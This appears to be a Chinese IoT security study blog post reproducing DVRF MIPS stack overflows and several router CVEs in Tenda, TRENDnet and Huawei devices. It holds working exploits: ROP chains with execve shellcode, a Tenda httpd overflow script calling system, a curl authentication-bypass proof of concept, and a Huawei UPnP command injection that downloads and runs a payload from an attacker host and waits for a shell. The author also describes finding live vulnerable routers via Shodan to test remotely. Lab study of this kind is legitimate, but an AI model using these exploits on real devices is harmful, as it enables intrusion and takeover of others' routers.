同时在 mips 的手册内默认 $t9 的值为当前函数的开始地址,这样才能正常的索引,所以我们需要先用一个 rop_gadget 设置 $t9, 然后再跳到后门函数。

所以我们需要在二进制程序或者 libc 中找到类似这样一个gadgets:

使用 jalr $t9 类的 gadgets 以保证进入函数后, $t9 的值为函数的起始地址

.text:00006B20                 lw      $t9, arg_0($sp)
.text:00006B24                 jalr    $t9

之后加上libc的基地址就行了

用qemu-mipsel-static模拟程序是看不到目标程序的maps的,所以我们可以通过打印 got 表的函数指针,然后计算偏移得到 libc 的基地址。

所以我们现在的利用流程就是:

  • 修改返回地址到 rop_gadget, 设置 $r9 为后门函数的地址
  • 跳转到 后门函数,执行system

此时我们的payoad就变成了:

#!/usr/bin/python
padding = b"a" * offset
gadget = 
backdoor = 
payload = padding + gadget + backdoor
with open("input", "wb") as f:
    f.write(payload)

DVRF stack_bof_02 #

静态分析 #

image-20240224170521640

漏洞点与stack_bof_01相同

动态调试 #

方式与 stack_bof_01 相同

$ cd /home/iot/vul/DVRF/DVRF/Firmware/_DVRF_v03.bin.extracted/squashfs-root
$ cp $(which qemu-mipsel-static) ./qemu-mipsel-static
$ echo "test" > content
$ sudo chroot . ./qemu-mipsel-static -L ./ -g 9988 ./pwnable/ShellCode_Required/stack_bof_02 "`cat content`"
# 注意要在cat content的外面加上“”

# 另开一个终端
$ gdb-multiarch ./pwnable/ShellCode_Required/stack_bof_02
# gdb爱输入命令:
set arch mips 
set endian big/little 
target remote:9988

# 连上之后会停在 start ,在 main 函数开头打断点,运行到这个断点,然后就可以慢慢单步调试

image-20240224164124477

exp #

参考: DVRF 路由器漏洞靶机题目笔记 | SkYe231 Blog (mrskye.cn)

先调用 sleep(1) 就需要找 gadget 控制参数以及跳转。

mipsrop.find(“li $a0,1”) 控制第一个参数

.text:0002FB10                 li      $a0, 1
.text:0002FB14                 move    $t9, $s1
.text:0002FB18                 jalr    $t9 ; sub_2F818

接着需要找一个控制 s1 的 gadget ,用于控制执行完 gadget1 之后跳转到哪里。mipsrop.find(“li $s1”) 结果有很多,最后选了 gadget2 = 0x00007730 :

.text:00007730                 lw      $ra, 0x18+var_s10($sp)
.text:00007734                 lw      $s3, 0x18+var_sC($sp)
.text:00007738                 lw      $s2, 0x18+var_s8($sp)
.text:0000773C                 lw      $s1, 0x18+var_s4($sp)
.text:00007740                 lw      $s0, 0x18+var_s0($sp)
.text:00007744                 jr      $ra

至此 a0 被控制为 1 ,目前 payload 结构为:

payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += "????"#s1
payload += "bbbb"#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra

不能直接将 sleep(0x767142b0) 填到 s1 处,因为直接填地址跳转 sleep 缺少了跳转前将返回地址放到 ra 寄存器(或压栈)的过程,当 sleep 运行到结尾的 jalr $ra 时,又会跳转会到 gadget1 ,所以要换个方式。

mipsrop.tails() 找通过 s0\s2\s3 寄存器跳转的 gadget ,选择了 gadget3 = 0x00020F1C :

.text:00020F1C                 move    $t9, $s2
.text:00020F20                 lw      $ra, 0x18+var_sC($sp)
.text:00020F24                 lw      $s2, 0x18+var_s8($sp)
.text:00020F28                 lw      $s1, 0x18+var_s4($sp)
.text:00020F2C                 lw      $s0, 0x18+var_s0($sp)
.text:00020F30                 jr      $t9

解决 sleep 运行结束返回地址问题,并 lw $ra, 0x18+var_sC($sp) 控制下一层跳转,payload 结构:

payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += "cccc"#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += "????"#ra

mipsrop.stackfinders() 找一个 gadget 提取栈地址放到寄存器中,找的时候还要注意控制下一次跳转选择 gadget4 = 0x16dd0 这个,通过 gadget3 提前将下次跳转地址写入 s0 :

.text:00016DD0                 addiu   $a0, $sp, 0x38+var_20
.text:00016DD4                 move    $t9, $s0
.text:00016DD8                 jalr    $t9
payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += "????"#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += p32(gadget4)#ra

最后找一个用 a0 跳转的 gadget ,一开始用 mipsrop.tails() 没找到,最后用 mipsrop.find(“move $t9,$a0)”) 找着了 gadget5 = 0x214a0 ,对 mipsrop 理解不够……

.text:000214A0                 move    $t9, $a0
.text:000214A4                 sw      $v0, 0x30+var_18($sp)
.text:000214A8                 jalr    $t9

最后跳转 shellcode 时,0x000214A4 的这句汇编 sw $v0, 0x30+var_18($sp) 会将 shellcode 第一个指令替换为 nop ,用无意义指令填充,将 shellcode 向后移。

payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += p32(gadget5)#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += p32(gadget4)#ra
#######
payload += "a"*0x18
payload += p32(0xdeadbeef)
payload += shellcode

最后的exp:

from pwn import *

context.binary = "./pwnable/ShellCode_Required/stack_bof_02"
context.arch = "mips"
context.endian = "little"

# libc_base = 0x766e5000
sleep = 0x767142b0#0x2F2B0+0x766e5000
gadget1 = 0x76714b10
'''
   0x76714b10: li a0,1
   0x76714b14: move t9,s1
   0x76714b18: jalr t9
'''
gadget2 = 0x766ec730
'''
   0x766ec730: lw ra,40(sp)
   0x766ec734: lw s3,36(sp)
   0x766ec738: lw s2,32(sp)
   0x766ec73c: lw s1,28(sp)
   0x766ec740: lw s0,24(sp)
   0x766ec744: jr ra
'''
gadget3 = 0x76705f1c
'''
   0x76705f1c: move t9,s2
   0x76705f20: lw ra,36(sp)
   0x76705f24: lw s2,32(sp)
   0x76705f28: lw s1,28(sp)
   0x76705f2c: lw s0,24(sp)
   0x76705f30: jr t9
'''
gadget4 = 0x766fbdd0
'''
   0x766fbdd0: addiu a0,sp,24
   0x766fbdd4 <optarg>: move t9,s0
   0x766fbdd8: jalr t9
'''
gadget5 = 0x767064a0
'''
   0x767064a0: move t9,a0
   0x767064a4: sw v0,24(sp)
   0x767064a8: jalr t9
'''
shellcode = "\xff\xff\x06\x28"  # slti $a2, $zero, -1
shellcode += "\x62\x69\x0f "  # lui $t7, 0x6962
shellcode += "\x2f\x2f\xef\x35"  # ori $t7, $t7, 0x2f2f
shellcode += "\xf4\xff\xaf\xaf"  # sw $t7, -0xc($sp)
shellcode += "\x73\x68\x0e "  # lui $t6, 0x6873
shellcode += "\x6e\x2f\xce\x35"  # ori $t6, $t6, 0x2f6e
shellcode += "\xf8\xff\xae\xaf"  # sw $t6, -8($sp)
shellcode += "\xfc\xff\xa0\xaf"  # sw $zero, -4($sp)
shellcode += "\xf5\xff\xa4\x27"  # addiu $a0, $sp, -0xc
shellcode += "\xff\xff\x05\x28"  # slti $a1, $zero, -1
shellcode += "\xab\x0f\x02\x24"  # addiu;$v0, $zero, 0xfab
shellcode += "\x0c\x01\x01\x01"  # syscall 0x40404

payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += p32(gadget5)#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += p32(gadget4)#ra
#######
payload += "a"*0x18
payload += p32(0xdeadbeef)
payload += shellcode


with open("stack_bof_02_payload","w") as file:
 file.write(payload)

Tenda #

CVE-2018-5767 #

漏洞基本信息 #

  • 漏洞编号:CVE-2018-5767
  • 漏洞类型: 栈溢出
  • 漏洞利用效果:栈溢出,可以修改返回地址,进而远程执行代码
  • 漏洞披露时间:2018.02.15
  • 漏洞描述: 没有限制用户的输入,使用函数 sscanf 直接将输入拷贝到栈上,导致栈溢出,可以修改返回地址,进而远程执行代码
  • 设备型号:Tenda AC15 V15.03.1.16_multi
  • 设备架构:arm
  • 复现进度:
    • 静态分析
  • 受影响的漏洞组件 :
    • 文件名:httpd
  • 定位漏洞组件的方法和工具:
    • IDA
    • gdb

漏洞分析 #

image-20240224222957846

查看漏洞函数R7WebsSecurityHandler的伪代码

image-20240224223415057

第87行使用了函数 strstr 尝试在 (a1 + 184) 处找到 “password=” 字符串的位置

其中(a1 + 184) 是用户的http请求,password 是请求中 cookie 的一个字段

如果找到了 password,就会进入if分支,使用正则匹配 “password=” 之后的字符串,并将匹配出的结果存入变量 v33 中

可以看到v33的定义:

image-20240224223546846

可以发现代码没有判断字段的最大长度,直接将内容拷贝到栈上

如果用户精心构造一个password,那么可能有机会利用栈溢出漏洞控制整个程序的流程,进而达到远程执行代码的目的

漏洞复现 #

先配置好qemu 的网络参数,首先安装必要的工具

$ apt-get install bridge-utils uml-utilities

接着要修改网络配置,编辑/etc/network/interfaces

# interfaces(5) file used by ifup(8) and ifdown(8)
auto lo
iface lo inet loopback
auto ens33
iface ens33  inet manual
up ifconfig ens33  0.0.0.0 up
auto br0
iface br0 inet dhcp
 bridge_ports ens33
 bridge_maxwait 0 

新建一个shell 脚本 /etc/qemu-ifup

#!/bin/sh
echo "Executing /etc/qemu-ifup"
echo "Bringing $1 for bridged mode..."
sudo /sbin/ifconfig $1 0.0.0.0 promisc up
echo "Adding $1 to br0"
sudo /sbin/brctl addif br0 $1
sleep 3

重启网络服务

$ sudo /etc/init.d/networking restart
$ sudo ifdown ens33
$ sudo ifup br0

如果其中哪一步报错,尝试重启一下虚拟机。

启动程序:

$ sudo chroot . ./qemu-arm-static -g 10000 ./bin/httpd

中间出现出错,参考了 CataLpa师傅的文章发现需要patch一下才能运行

patch完成功运行后抓一个数据包,这个包的内容应该如下:

GET /goform/execCommand HTTP/1.1
Host: 192.168.245.136
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

为了触发漏洞,我们要手动添加一个Cookie 字段

构造以下 payload:

GET /goform/execCommand HTTP/1.1
Host: 192.168.245.136
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cookie: password="aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaae.gifbbbbbbbbbbbbbbbbbbbbtesttest"
Cache-Control: max-age=0

重放数据包,成功执行了puts 函数并输出我们的内容

用python写的exp如下:

import struct
import requests

ip = "192.168.211.7"
command = "/bin/sh\x00"

url = "http://{:s}/goform/exeCommand".format(ip)
headers = {
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
'Cookie': 'password="aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaae.gifbbbbbbbbbbbbbbbbbbbbtesttest"',
'Cache-Control': 'max-age=0'
}

libc = 0x3fde6000
pop_r3_pc = struct.pack("< I",0x00018298+libc)#pop r3 pc
mov_r0_sp_blx_r3 = struct.pack("< I", 0x00040cb8 + libc)# mov r0 sp; blx r3
system = struct.pack("< I", 0x0005A270+libc)
command = command.encode()# 'byte'
password = b"A" * 444 + b".gif"+pop_r3_pc+system+mov_r0_sp_blx_r3+command
headers['Cookie']=b"password="+password

try:
    response = requests.get(url,headers=headers,timeout=1)
except:
    pass

CVE-2020–10987 #

漏洞基本信息 #

  • 漏洞编号:CVE-2020–10987
  • 漏洞类型: 命令注入
  • 漏洞利用效果:执行任意系统命令
  • 漏洞披露时间:2022.03.26
  • 漏洞描述: goform/setUsbUnload端点允许远程攻击者通过deviceName POST参数执行任意系统命令
  • 设备型号:Tenda AC15 AC1900 version 15.03.05.19
  • 设备架构:arm
  • 复现进度:
    • 静态分析
  • 受影响的漏洞组件 :
    • 文件名:httpd
  • 定位漏洞组件的方法和工具:
    • SaTC
    • IDA

SaTC定位漏洞 #

$ wget https://down.tenda.com.cn/uploadfile/AC18/ac18_kf_V15.03.05.19(6318_)_cn.zip
$ binwalk -Me ac18_kf_V15.03.05.19(6318_)_cn.zip
$ sudo docker run -it -v ./squashfs-root/:/home/satc/SaTC/SaTC_data smile0304/satc

# 进入SaTC容器中
# 检查/home/satc/SaTC/SaTC_data文件夹中是否有数据
$ ls /home/satc/SaTC/SaTC_data
$ cd ~/SaTC
# 测试/bin/httpd是否存在命令注入漏洞
$ python satc.py -d /home/satc/SaTC/SaTC_data -o /home/satc/res --ghidra_script=ref2sink_cmdi -b httpd --taint_check
# 测试/bin/httpd是否存在缓冲区溢出漏洞
$ python satc.py -d /home/satc/SaTC/SaTC_data -o /home/satc/res --ghidra_script=ref2sink_bof -b httpd --taint_check

image-20240225123452035

过程中可能会飘红,或者警告,可以直接忽略

只要在/home/satc/res下找到txt文件

binary: /home/satc/SaTC/SaTC_data/bin/httpd
configfile: /home/satc/res/ghidra_extract_result/httpd/httpd_ref2sink_cmdi.result-alter2
0xef168 0xa1808   not found
```
0xf2208 0xa6890   found : 0xa68f8
```
0xefb24 0xa2994   not found
total cases: 110
find cases: 1
binary: /home/satc/SaTC/SaTC_data/bin/httpd
configfile: /home/satc/res/ghidra_extract_result/httpd/httpd_ref2sink_cmdi.result-alter2

IDA下查看0xa68f8地址发现是formsetUsbUnload函数,查看其伪代码分析漏洞

漏洞分析 #

image-20240225130344648

可以看到deviceName参数被借传到了doSystemCmd函数中,这将导致一个任意的命令执行

CVE-2023-30135 #

漏洞基本信息 #

  • 漏洞编号:CVE-2023-30135
  • 漏洞类型: 命令注入
  • 漏洞利用效果:执行任意系统命令
  • 漏洞披露时间:2023.05.04
  • 漏洞描述: Tenda AC18 v15.03.05.19(6318_)cn 已通过 setUsbUnload 函数中的 deviceName 参数发现包含命令注入漏洞
  • 设备型号:Tenda AC18 v15.03.05.19(6318_)cn
  • 设备架构:arm
  • 复现进度:
    • 静态分析
  • 受影响的漏洞组件 :
    • 文件名:httpd
  • 定位漏洞组件的方法和工具:
    • SaTC
    • IDA

漏洞分析 #

与CVE-2020–10987相同:

image-20240225130344648

将deviceName参数借传到了doSystemCmd函数中的,将导致一个任意的命令执行

TRENDnet #

CVE-2018-7034 #

漏洞基本信息 #

  • 漏洞编号:CVE-2018-7034
  • 漏洞类型: 权限绕过漏洞
  • 漏洞利用效果:获取到登录的用户名和密码,成功登录后台
  • 漏洞披露时间:2018.02.14
  • 漏洞描述: 允许通过AUTHORIZED_GROUP=1值绕过身份验证
  • 设备型号:TRENDnet TEW-751DR v1.03B03, TEW-752DRU v1.03B01, TEW733GR v1.03B01,此外D-Link的一些老设备,如DIR645DIR815等也都受该漏洞影响
  • 设备架构:mips
  • 复现进度:
    • 漏洞复现
  • 受影响的漏洞组件 :
    • 文件名:
    • 功能:
    • 技术栈:(脚本语言)
  • 定位漏洞组件的方法和工具:
    • 直接审计php代码
    • IDA

漏洞分析 #

详细分析可以看 ZIKH26师傅的文章,写得非常清楚

查看htdocs/web/getcfg.php

HTTP/1.1 200 OK
Content-Type: text/xml

<?echo "<?";?>xml version="1.0" encoding="utf-8"<?echo "?>";?>
<postxml>
<? include "/htdocs/phplib/trace.php";

if ($_POST["CACHE"] == "true")
{
	echo dump(1, "/runtime/session/".$SESSION_UID."/postxml");
}
else
{
	if($AUTHORIZED_GROUP < 0)
	{
		/* not a power user, return error message */
		echo "\t<result>FAILED</result>\n";
		echo "\t<message>Not authorized</message>\n";
	}
	else
	{
		/* cut_count() will return 0 when no or only one token. */
		$SERVICE_COUNT = cut_count($_POST["SERVICES"], ",");
		TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]);
		$SERVICE_INDEX = 0;
		while ($SERVICE_INDEX < $SERVICE_COUNT)
		{
			$GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");
			TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC);
			if ($GETCFG_SVC!="")
			{
				$file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";
				/* GETCFG_SVC will be passed to the child process. */
				if (isfile($file)=="1") dophp("load", $file);
			}
			$SERVICE_INDEX++;
		}
	}
}
?></postxml>

该漏洞的利用是通过发送 POST 报文在正常字段 SERVICES=DEVICE.ACCOUNT 后紧跟了一个 AUTHORIZED_GROUP=1 (二者用 %0a 连接),导致 cgibin 文件解析时先识别到了第一个 = ,认为 SERVICES 是键,DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1 是值。随后又对字符串进行解码,%0a 处理为 \n,此时内存中字符串为 _POST_SERVICES=DEVICE.ACCOUNT\nAUTHORIZED_GROUP=1 ,后续在 cgibin 中认证失败,在此基础上添加了 AUTHORIZED_GROUP=-1

之后把整个数据发送给 php 文件进行处理, getcfg.php 文件中if($AUTHORIZED_GROUP < 0) 获取字段值时,首先解析到的是 AUTHORIZED_GROUP=1 从而通过了验证。又因为可以加载 htdocs/webinc/getcfg 目录下的任意文件,最终造成敏感文件的信息泄露

将POST发送的内容设为SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1即可完成

漏洞复现 #

这里在我们qemu模拟的环境中是无法连接上的,由于之后还要发送数据,这里也不好直接patch掉,因此,在本地是不好复现的,不过,我们可以打远程。

使用 shodan https://www.shodan.io/search?query=tew-751dr ) 查找到还在用此路由器设备的站点

可以复现漏洞,但是这样的行为不太好()

POC如下:

curl -d "SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1" "http://某ip/getcfg.php"

HUAWEI #

CVE-2017-17215 #

漏洞基本信息 #

  • 漏洞编号:CVE-2017-17215
  • 漏洞类型: 远程命令执行(RCE)
  • 漏洞利用效果:注入任意命令并执行
  • 漏洞披露时间:20171204
  • 漏洞描述:
    • 华为HG532存在远程代码执行漏洞。经身份验证的攻击者可以向端口 37215 发送恶意数据包以发起攻击。成功利用这个漏洞可以导致远程执行任意代码
  • 设备型号:HG532
  • 设备架构:mips
  • 复现进度:
    • 已成功在本地复现漏洞
    • 已进行静态分析
  • 受影响的漏洞组件 :
    • 文件名:upnp
  • 定位漏洞组件的方法和工具:
    • 静态分析工具
      • ida(32位)
      • ghidra
    • 动态分析工具
      • gdb-multiarch

解包 #

### 安装sasquatch
$ sudo apt-get install build-essential liblzma-dev liblzo2-dev zlib1g-dev
$ git clone https://github.com/devttys0/sasquatch.git
$ cd sasquatch && ./build.sh
$ binwalk -Me HG532eV100R001C02B015_upgrade_main.bin
$ cd _HG532eV100R001C02B015_upgrade_main.bin.extracted/squashfs-root/bin/
$ checksec upnp

image-20240223015032209

漏洞分析 #

搜索NewStatusURL字符串,在0x00407B20的地址上创建函数

image-20240223020449570

然后看sub_407B20的伪代码

image-20240223020727449

观察到snprintf函数会将我们发送的标签的内容写入字符串,并在之后会用system执行该字符串,这就很明显会存在一个任意命令执行的漏洞,我们可以将;<cmd>;写入标签,由于;可连接两个独立语句并执行,因此,就能执行我们的cmd命令了。

这里的反编译其实有些问题,应该是:snprintf(v6, 1024, "upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -b", v4, v5);,这里少了个参数。

至此,我们发现,可以在NewStatusURLNewDownloadURL标签中注入任意命令以执行。

漏洞复现 #

$ ./fat.py /path/to/firmware

image-20240223021726180

  • 可以仿真,但是upnp服务不可用,所以无法复现漏洞

后来搜索到了网上复现记录

IoT-vulhub/HUAWEI/CVE-2017-17215 at master · Vu1nT0tal/IoT-vulhub (github.com)

按照上面的步骤来复现:

$ sudo docker build -t firmianay/qemu-system:mips .          

其中run.sh的内容为:

#!/bin/bash

# 启动 ssh 服务
/etc/init.d/ssh start

# 配置网卡
tunctl -t tap0
ifconfig tap0 192.168.2.1/24

# 启动 http 服务
nohup python3 -m http.server 8000 1>&/dev/null &

# 进入 qemu 镜像目录
cd /root/images

/usr/bin/expect<<EOF
set timeout 10000

spawn qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic

expect "debian-mips login:"
send "root\r"
expect "Password:"
send "root\r"

expect "root@debian-mips:~# "
send "ifconfig eth0 192.168.2.2/24\r"

#expect "root@debian-mips:~# "
#send "echo 0 > /proc/sys/kernel/randomize_va_space\r"

expect "root@debian-mips:~# "
send "scp root@192.168.2.1:/root/squashfs-root.tar.gz /root/squashfs-root.tar.gz\r"
expect {
    "(yes/no)? " { send "yes\r"; exp_continue }
    "password: " { send "root\r" }
}

expect "root@debian-mips:~# "
send "tar xzf squashfs-root.tar.gz && rm squashfs-root.tar.gz\r"
expect "root@debian-mips:~# "
send "mount -o bind /dev ./squashfs-root/dev && mount -t proc /proc ./squashfs-root/proc\r"

expect "root@debian-mips:~# "
send "scp -r root@192.168.2.1:/root/tools /root/squashfs-root/tools\r"
expect {
    "(yes/no)? " { send "yes\r"; exp_continue }
    "password: " { send "root\r" }
}

expect "root@debian-mips:~# "
send "echo 'sleep 30' > net.sh\r"
expect "root@debian-mips:~# "
send "echo 'ifconfig eth0 192.168.2.2/24' >> net.sh\r"
expect "root@debian-mips:~# "
send "echo 'ifconfig br0 192.168.2.3/24' >> net.sh\r"
expect "root@debian-mips:~# "
send "chmod +x net.sh && /bin/sh net.sh &\r"

expect "root@debian-mips:~# "
send "chroot squashfs-root/ sh\r"
expect "# "
send "./bin/upnp\r"
expect "# "
send "./bin/mic\r"

expect eof
EOF

image-20240223214204231

成功仿真!

最后,我们就可以打exp并成功复现完CVE-2017-17215这个漏洞了!

exp:

#!/usr/bin/python3

import requests
from requests.auth import HTTPDigestAuth
from pwn import *
from threading import Thread

cmd  = 'wget -g 192.168.2.1 -P 8000 -r /tools/msf -l /msf\n'
cmd += 'chmod 777 /msf\n'
cmd += '/msf'

assert(len(cmd) < 255)

data = "<?xml version=\"1.0\" ?>\n    <s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n    <s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">\n    <NewStatusURL>$(" + cmd + ")</NewStatusURL>\n<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n    </s:Body>\n    </s:Envelope>"
url = "http://192.168.2.2:37215/ctrlt/DeviceUpgrade_1"

def attack():
    try:
        requests.post(url, auth=HTTPDigestAuth('dslf-config', 'admin'), data=data)
    except Exception as e:
        print(e)

thread = Thread(target=attack)
thread.start()

io = listen(31337)
io.wait_for_connection()
log.success("getshell")
io.interactive()

thread.join()

image-20240223213739400

复现成功!

IoT学习小记 - This article is part of a series.
Part 2: This Article